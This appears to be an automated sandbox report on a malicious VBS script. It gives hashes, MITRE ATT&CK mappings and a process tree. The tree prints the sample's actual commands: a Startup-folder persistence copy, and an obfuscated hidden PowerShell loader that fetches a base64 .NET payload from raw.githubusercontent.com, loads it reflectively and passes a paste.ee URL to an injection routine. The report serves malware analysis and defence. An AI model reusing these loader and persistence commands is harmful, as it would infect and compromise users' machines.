df610fe1800c5c643599d46f147e0e0623b5523e54e3b0795f2e4e2be88ba952

General

Target

df610fe1800c5c643599d46f147e0e0623b5523e54e3b0795f2e4e2be88ba952.vbs
Size

489KB
MD5

b4ed8d97bb9132e15502eb005580d3e1
SHA1

eb64b5bfbb04979d46b7f906394caadbe96e5c4f
SHA256

df610fe1800c5c643599d46f147e0e0623b5523e54e3b0795f2e4e2be88ba952
SHA512

d6446d9a7120f2460216c24ee92045d3a435d8987f38375bbae41a66022a03147b40b42174a838be0b73019147fe83e30708267cbc83f44199895a486f746e85
SSDEEP

12288:+IM9DK7pKt0qbfzQ0mfRygWqa8kPDXwlvX+LHqDDuu++MZu+Df2OW6:+ImrsHflxw5

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2660	powershell.exe
6	2660	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2500	powershell.exe
2880	powershell.exe
2660	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wernerite.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wernerite.vbs	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2204	cmd.exe
1952	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1952	PING.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2500	powershell.exe
2880	powershell.exe
2660	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2500	powershell.exe
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeDebugPrivilege	2660	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2512 wrote to memory of 2204	2512	WScript.exe	30
PID 2512 wrote to memory of 2204	2512	WScript.exe	30
PID 2512 wrote to memory of 2204	2512	WScript.exe	30
PID 2204 wrote to memory of 1952	2204	cmd.exe	32
PID 2204 wrote to memory of 1952	2204	cmd.exe	32
PID 2204 wrote to memory of 1952	2204	cmd.exe	32
PID 2204 wrote to memory of 2500	2204	cmd.exe	34
PID 2204 wrote to memory of 2500	2204	cmd.exe	34
PID 2204 wrote to memory of 2500	2204	cmd.exe	34
PID 2512 wrote to memory of 2880	2512	WScript.exe	35
PID 2512 wrote to memory of 2880	2512	WScript.exe	35
PID 2512 wrote to memory of 2880	2512	WScript.exe	35
PID 2880 wrote to memory of 2660	2880	powershell.exe	37
PID 2880 wrote to memory of 2660	2880	powershell.exe	37
PID 2880 wrote to memory of 2660	2880	powershell.exe	37

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\df610fe1800c5c643599d46f147e0e0623b5523e54e3b0795f2e4e2be88ba952.vbs"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\df610fe1800c5c643599d46f147e0e0623b5523e54e3b0795f2e4e2be88ba952.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.etirenrew.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2204
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\df610fe1800c5c643599d46f147e0e0623b5523e54e3b0795f2e4e2be88ba952.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.etirenrew.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigodkFSaWFiTGUgJypNZFIqJykubmFtZVszLDExLDJdLUpPaW4nJykgKCAoJ3UnKycwRHUnKydybCcrJyA9IEonKydodWh0dHBzJysnOi8nKycvcmEnKyd3LmdpJysndGh1YicrJ3VzZScrJ3Jjb250ZW50JysnLicrJ2NvJysnbS9Ob0RldGVjdE8nKyduLycrJ05vRGV0ZScrJ2MnKyd0T24vJysncmVmJysncycrJy9oJysnZWEnKydkcy9tYWluJysnLycrJ0RldGFoTm8nKyd0aC1WLnR4JysndEonKydodTsgdTBEYicrJ2FzZTY0Q29udGUnKydudCA9ICcrJyhOZXctT2JqZScrJ2N0IFN5cycrJ3RlbS5OZXQuV2ViJysnQ2xpJysnZScrJ250KScrJy5Eb3dubG9hZFN0JysncicrJ2luZyh1MEQnKyd1cmwpOyB1MCcrJ0RiaScrJ25hJysncicrJ3lDb250ZW50JysnID0gW1N5cycrJ3QnKydlJysnbS4nKydDbycrJ24nKyd2JysnZScrJ3InKyd0XScrJzo6RicrJ3JvbUJhc2U2NFN0cmknKyduZycrJyh1MERiYXNlJysnNjRDb250ZScrJ250KTsgJysndScrJzBEYXNzJysnZW1ibHknKycgPSBbUmVmbCcrJ2VjJysndGlvbi5BJysnc3NlbWInKydsJysneV0nKyc6OkwnKydvYScrJ2QnKycoJysndTAnKydEYicrJ2luJysnYScrJ3J5QycrJ29udCcrJ2VudCknKyc7IFtkbmxpYi5JJysnTycrJy5IbycrJ21lXTo6VkEnKydJJysnKGQ2ZzAnKycvJysnTycrJ1lVJysnbFgvZC9lZScrJy5ldHNhcC8vOnNwJysndHRoZCcrJzYnKydnLCBkJysnNmdkZXNhJysndCcrJ2l2JysnYScrJ2RvZDZnJysnLCBkJysnNmcnKydkZScrJ3NhdCcrJ2l2JysnYWRvJysnZDYnKydnLCAnKydkNmdkZXMnKydhdGl2YWRvZDZnJysnLCBkJysnNicrJ2dBZGRJJysnbicrJ1ByJysnb2NlcycrJ3MzMicrJ2Q2ZywgZDYnKydnZDZnJysnLGQnKyc2Z2Q2JysnZyknKS5yRXBsQUNlKCd1MEQnLCckJykuckVwbEFDZSgoW2NIYVJdNzQrW2NIYVJdMTA0K1tjSGFSXTExNyksW1NUckluZ11bY0hhUl0zOSkuckVwbEFDZSgnZDZnJyxbU1RySW5nXVtjSGFSXTM0KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((vARiabLe '*MdR*').name[3,11,2]-JOin'') ( ('u'+'0Du'+'rl'+' = J'+'huhttps'+':/'+'/ra'+'w.gi'+'thub'+'use'+'rcontent'+'.'+'co'+'m/NoDetectO'+'n/'+'NoDete'+'c'+'tOn/'+'ref'+'s'+'/h'+'ea'+'ds/main'+'/'+'DetahNo'+'th-V.tx'+'tJ'+'hu; u0Db'+'ase64Conte'+'nt = '+'(New-Obje'+'ct Sys'+'tem.Net.Web'+'Cli'+'e'+'nt)'+'.DownloadSt'+'r'+'ing(u0D'+'url); u0'+'Dbi'+'na'+'r'+'yContent'+' = [Sys'+'t'+'e'+'m.'+'Co'+'n'+'v'+'e'+'r'+'t]'+'::F'+'romBase64Stri'+'ng'+'(u0Dbase'+'64Conte'+'nt); '+'u'+'0Dass'+'embly'+' = [Refl'+'ec'+'tion.A'+'ssemb'+'l'+'y]'+'::L'+'oa'+'d'+'('+'u0'+'Db'+'in'+'a'+'ryC'+'ont'+'ent)'+'; [dnlib.I'+'O'+'.Ho'+'me]::VA'+'I'+'(d6g0'+'/'+'O'+'YU'+'lX/d/ee'+'.etsap//:sp'+'tthd'+'6'+'g, d'+'6gdesa'+'t'+'iv'+'a'+'dod6g'+', d'+'6g'+'de'+'sat'+'iv'+'ado'+'d6'+'g, '+'d6gdes'+'ativadod6g'+', d'+'6'+'gAddI'+'n'+'Pr'+'oces'+'s32'+'d6g, d6'+'gd6g'+',d'+'6gd6'+'g)').rEplACe('u0D','$').rEplACe(([cHaR]74+[cHaR]104+[cHaR]117),[STrIng][cHaR]39).rEplACe('d6g',[STrIng][cHaR]34))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
21e4597c043814123743d5787043f6b6

SHA1
8855ce43913a90346e73d9a2486eb69f84026091

SHA256
e64b42b18860c51bd9df8e75b6f908f44749b6b469ea768f3d5dde5cc4c368d7

SHA512
2dda9dd7a03008c0787062c3624d5541d8a607897a196eb9da3f2a6ab877087a571672af9c9144fc5d16c3091bca93e90d81fa4843b3da6ac598b22358e933cc

Download Submit
memory/2500-5-0x000007FEF56FE000-0x000007FEF56FF000-memory.dmp

Filesize
4KB

Download
memory/2500-6-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/2500-10-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

Filesize
9.6MB

Download
memory/2500-9-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

Filesize
9.6MB

Download
memory/2500-8-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Filesize
32KB

Download
memory/2500-7-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

Filesize
9.6MB

Download
memory/2500-11-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

Filesize
9.6MB

Download
memory/2500-12-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

Filesize
9.6MB

Download
memory/2500-13-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

Filesize
9.6MB

Download
memory/2880-19-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2880-20-0x0000000001CD0000-0x0000000001CD8000-memory.dmp

Filesize
32KB

Download

Analysis

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